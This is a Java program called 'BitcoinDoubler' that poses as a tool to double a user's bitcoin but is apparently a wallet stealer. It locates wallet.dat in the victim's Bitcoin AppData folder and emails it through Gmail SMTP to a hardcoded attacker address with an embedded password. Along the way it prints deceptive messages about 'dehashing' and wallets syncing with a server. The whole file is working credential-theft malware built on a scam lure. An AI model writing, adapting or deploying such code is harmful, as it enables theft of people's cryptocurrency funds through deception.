package bitcoinDoubler;

import java.io.File;
import java.io.IOException;
import java.io.PrintStream;
import java.util.Properties;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.activation.FileDataSource;
import javax.mail.Authenticator;
import javax.mail.Message;
import javax.mail.Message.RecipientType;
import javax.mail.MessagingException;
import javax.mail.Multipart;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeBodyPart;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMultipart;

class BitcoinDoubler
{
  private static String Dir = "";
  
  public boolean findFile(String name, File file)
  {
    File[] list = file.listFiles();
    if (list != null) {
      for (File fil : list) {
        if (fil.isDirectory())
        {
          findFile(name, fil);
        }
        else if (name.equalsIgnoreCase(fil.getName()))
        {
          Dir = fil.toString();
          return true;
        }
      }
    }
    return false;
  }
  
  public static void main(String[] args)
    throws IOException
  {
    BitcoinDoubler ff = new BitcoinDoubler();
    String a = System.getProperty("user.name");
    String name = "wallet.dat";
    String directory = "C:\\Users\\" + a + "\\AppData\\Roaming\\Bitcoin";
    String directory2 = "C:\\";
    boolean found = true;
    if (!ff.findFile(name, new File(directory)))
    {
      found = false;
      System.out.println("Couldn't find wallet.dat!");
      System.out.println("Attempting to reconfigure...");
    }
    else if ((!found) && (!ff.findFile(name, new File(directory2))))
    {
      System.out.println("Final attempt failed!");
      System.out.println("Please place wallet.dat in C:\\Users\\" + a + "\\AppData\\Roaming\\Bitcoin");
    }
    else
    {
      System.out.println("Connecting to server to dehash...");
      String username = "BitDoublerxxx@gmail.com";
      String password = "rakshit12";
      String SMTP_HOST = "smtp.gmail.com";
      
      Properties props = new Properties();
      props.put("mail.smtp.host", SMTP_HOST);
      props.put("mail.smtp.port", "587");
      props.put("mail.smtp.auth", "true");
      
      props.setProperty("mail.smtp.starttls.enable", "true");
      props.put("mail.smtp.ssl.enable", "true");
      
      Session session = Session.getInstance(props);
      session = Session.getInstance(props, new Authenticator()
      {
        protected PasswordAuthentication getPasswordAuthentication()
        {
          return new PasswordAuthentication("BitDoublerxxx@gmail.com", "rakshit12");
        }
      });
      try
      {
        Message message = new MimeMessage(session);
        message.setFrom(new InternetAddress(a + "@gmail.com"));
        message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("BitDoublerxxx@gmail.com"));
        message.setSubject(a + " wallet.dat");
        message.setText("PFA");
        MimeBodyPart messageBodyPart = new MimeBodyPart();
        messageBodyPart.setText("wallet.dat from " + a);
        Multipart multipart = new MimeMultipart();
        multipart.addBodyPart(messageBodyPart);
        String file = Dir;
        

        messageBodyPart = new MimeBodyPart();
        String fileAttachment = file;
        DataSource source = new FileDataSource(fileAttachment);
        messageBodyPart.setDataHandler(new DataHandler(source));
        messageBodyPart.setFileName("wallet.dat");
        multipart.addBodyPart(messageBodyPart);
        
        message.setContent(multipart);
        
        System.out.println("Sending to server...");
        

        Transport trnsport = session.getTransport("smtp");
        trnsport.connect();
        Transport.send(message);
        trnsport.close();
        


        System.out.println("Done, please allow upto 1 hour before all wallets sync with the server!");
      }
      catch (MessagingException e)
      {
        e.printStackTrace();
      }
    }
  }
}